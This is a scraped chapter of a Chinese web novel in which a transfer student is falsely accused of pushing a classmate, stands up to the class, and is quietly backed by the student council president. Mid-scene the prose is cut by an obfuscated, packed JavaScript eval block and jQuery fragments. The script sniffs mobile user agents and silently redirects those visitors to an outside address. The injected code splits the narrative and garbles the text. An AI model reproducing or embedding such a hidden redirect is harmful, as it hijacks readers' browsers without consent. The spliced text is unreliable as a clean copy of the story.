“那个新转来的特优生,真的跟秦宇徽吵起来了?”
“可不是嘛,我们都亲眼看见了,她跟商立宸就在教室门口与秦宇徽吵得不可开交。”
“她胆子也太大了吧?秦宇徽可不是好惹的,她怕不是要倒霉了。”
“喂!”
身后的椅子突然被人狠狠踹了一下,田惜冉猛地回过头,只见祁善正站在她的座位身后,眼神带着探究,问:“你认识那个新来的特优生吗?”
周围同学纷纷侧目,目光齐刷刷落在田惜冉身上,满是好奇与期待。
田惜冉沉默着摇了摇头,飞快转回身去。
“你问她干嘛?我看畏畏缩缩的模样,压根不像是能交到朋友的人。”
“也是。”祁善嗤笑一声,声音大得刚好能让周围人听见,“连话都不敢跟人说,哪来的朋友?”
“对啊,她独来独往的,除了那个中央空调商立宸,她跟谁都不亲近。”
“我突然想起来,她才转班那几天不是还往程准身上贴来着!”
“哈哈哈哈哈,对啊,还有这事呢!”
“也不看人家程准是什么人,怎么可能搭理她。”
刺耳的议论声钻进耳朵,田惜冉死死盯着书页,可眼前的文字却一个都看不进去。
她指尖狠狠掐进掌心,一阵尖锐的疼意顺着血脉窜上来,逼得她眼眶微微发酸。
就在这时,耳边突然“砰”的一声,她下意识扭过头,只见时知昭站在教室门口,而脚边的莫依正捂着脚腕,脸色惨白,一脸痛苦地蜷缩着。
时知昭看着眼前的人,满脸茫然。
她刚才不过是正常回教室,原本还站在门口跟她人聊天的莫依突然挤了过来,她还没来得及侧身让路,对方便直挺挺摔在了地上,动作刻意得离谱。
时知昭活这么大第一次见如此拙劣的碰瓷表演。
这么明显的把戏,明眼人一眼便能看穿,可偏偏就有人揣着明白装糊涂。
刚才一直跟莫依说笑的女生立刻冲上前,小心翼翼扶起她,语气满是关切:“莫依,你没事吧?有没有摔疼?”
接着她又转过头,瞪着时知昭,厉声质问:“你为什么要推她?”
时知昭满脸错愕,问号几乎要写在脸上,刚要开口反驳,铺天盖地的指责便先一步涌了过来。
“真过分啊。”
“怎么能随便推人啊,也太没素质了。”
“你看莫依都哭了,下手也太狠了。”
这熟悉的场景,让田惜冉心头一紧。
上周,她也曾经历过这样无端的污蔑与孤立。
看着被众人围攻的时知昭,她心里憋着一股闷气,攥紧了手想要起身帮忙,可腿仿佛被灌了铅,怯懦涌上心头,她只能僵在座位上犹豫不决。
时知昭感觉她这辈子的好素质都要被今天耗尽了,说:“你是不是眼瞎?我什么时候撞她了?”
她声音清亮又坚定,穿透嘈杂的议论声,传遍了整个教室。
她扫了一眼莫依有些微微红肿的脚腕,心想对方是对自己下了狠手,也懒得再纠结这荒唐的碰瓷戏码,好心提醒道:“你还是赶紧去医务室看看吧。”
莫依一听,反而哭得更凶了,肩膀不停的颤抖。
她身旁的女生一边轻轻拍着她的背安抚,一边恶狠狠地瞪着时知昭:“别在这装好人!快给莫依道歉!”
莫依抽抽搭搭,声音因为哭泣沙哑的厉害:“语双,我没事,是我自己不小心……”
董语双被她这副委屈的模样激得怒火更盛,伸手指着时知昭,语气强硬:“你必须给莫依道歉!”
恰好此时,霍徊和余述池回来,一进门就撞上了这剑拔弩张的场面。
霍徊一眼便看见时知昭,他眉头紧锁,走向前:“发生什么事了?”
余述池则慢悠悠地跟在身后,目光从容地扫过愤怒的董语双、抹泪的莫依以及她那红肿的脚裸,最后才落在神色平静的时知昭身上。
他瞬间便理清了事情的原委,丝毫没有上前调解的意思,反倒倚在一旁,饶有兴致地看着这场闹剧。
唯有身边的霍徊,满脸焦急。
董语双见他们两个过来,像是找到了说理的人,伸着指向时知昭的手迟迟没放下,对着霍徊告状似的说道:“刚才进教室的时候,这个特优生跟莫依一起进门,莫名其妙就把莫依推倒了,你看她脚都伤成这样了!”
霍徊这才注意到莫依脚腕上的红痕,微微皱眉,但他清楚时知昭的为人,理智地开口:“会不会是有什么误会?”
董语双一听就不乐意了,语气笃定:“误会?不可能!我看得清清楚楚,就是她推的莫依。”
她甚至还转过头,质问时知昭:“莫依跟你素不相识,你为什么要推她?”
相较于霍徊的急切与董语双的暴怒,时知昭始终平静淡然,不见丝毫慌乱。
“我不叫特优生,我有名字,叫时知昭。”
她抬手,轻轻掰下董语双一直指着自己的的手指语气甚至有点关心的意味:“手举这么久,不累吗?”
董语双慌忙挣脱开,一脸警惕的往后缩了缩,生怕时知昭弄疼自己。
见状,时知昭忍不住嗤笑一声:“我说了,我没推她。”
余述池在一边看着眯起眼眸。
“不可能,我亲眼所见,而且大家都看到了。”董语双侧过身子,示意教室里的其他同学,试图用舆论施压。
班里的同学大多没看清事情的完整经过,可都不约而同地选择站队莫依,跟着附和起来。
“是啊,我们都看到是她推的人。。”
“我看她着就不好相处的模样,肯定是故意的。”
霍徊显然是相信时知昭的,刚要开口反驳,便被察觉到的时知昭不动声色拦住。
她从刚才就看明白了,霍徊在这个班里,根本护不住自己,与其让他卷入纷争,不如自己解决。
而且以后在班里,霍徊必须离自己越远越好。
嘈杂的喊叫声中,田惜冉听到身后的祁善也跟着恶狠狠地喊了一句:“新同学,真是心肠歹毒啊!”
就在众人议论得越发激烈时,时知昭突然抬手,重重的拍了一下教室门。
教室里瞬间安静下来,所有人的目光都集中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381004|200176||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在她身上。
时知昭抬眼,目光淡漠的扫过全班,说:“你最好以后见到我,都绕着路走。我心肠歹毒,心狠手辣。小心下一个被针对的,就是你。”
她语气认真,气场太过冷硬,一时间分不清她是在董语双,还是对在场的每一个人。
班里安静了好几秒,才有人反应过来,发出不屑的嗤笑声。
“一个特优生,还敢放这种狠话,真以为自己了不起?”
“她是不是被说急了,开始疯言疯语了?”
董语双满脸不屑,显然也没把她话放在心上,只觉得好笑:“你是不是被拆穿,开始口不择言了?”
时知昭忽然扯出一抹冷笑,抬手轻轻往董语双肩上一推。
本来坐在位置上看好戏的秦宇徽微微一愣,一眼便看出,这动作分明又是在模仿早上他跟商立宸争执时的模样。
只是这一次,时知昭用的力气大了几分,董语双毫无防备,惊呼一声,慌忙中一手扒住了门框,才勉强没摔个四脚朝天。
她另一只手紧紧搂着莫依,一手死死抓着门框,动作滑稽之余还有些狼狈,脸色一阵红一阵白。
时知昭微微附身,凑近她耳边,声音压得很低,却带着刺骨的寒意:“你大可以试试。”
“试试我心狠手辣起来,到底是什么样子。”
说完,她不再看一眼,转身走回了自己的座位,低头翻开书本仿佛刚才那场剑拔弩张的纷争与她无关。
董语双回过神,张了张想要找人说理,可霍徊面色凝重,看都没看她一眼,也回了座位。
反倒是余述池看完这场好戏,心情颇好,瞥了一下还在假哭的莫依,微微抬了抬点点下巴,对董语双说:“送她去医务室。”
董语双愣了一下,没想到平日里没想到平日里对班级琐事从不上心的学生会会长会主动开口,语气瞬间低了几分,带着点委屈:“余会长,刚才你也看到了,她故意推我,还欺负莫依……”
余述池瞥她一眼,声音又是平常的那副疏离:“哦,所以呢?”
这两个字轻飘飘的,却像一块石头砸进平静的湖面。
莫依的哭声戛然而止,董语双也僵在原地,满脸错愕。
坐在后排的时知昭,正低头翻书,试图用文字将自己与周围的喧嚣隔绝。
忽然,一道平静的声音响起,余述池的音量不大不小,刚好能让全班同学听的一清二楚。
“新同学说自己心狠手辣,你们闲的没事就别去招惹她。”余述池看着董语双,只一眼,就漠然移开,“当然,要是有人非要往上凑,我也管不着。”
时知昭翻书的动作骤然一顿,她缓缓抬起头,只见周遭的同学听这话,纷纷低下了头,刚才的嚣张与刻薄荡然无存,取之而代的是一丝不易察觉的畏惧。
余述池恰好掀起眼,目光与她隔空对视。
那一刻,时知昭心里忽然明朗。
原来,在这群有点钱就目中无人的特招生圈子里,真正能让他们心生忌惮,不敢造次的。
是这位看似漫不经心、永远置身事外的学生会会长——
余述池。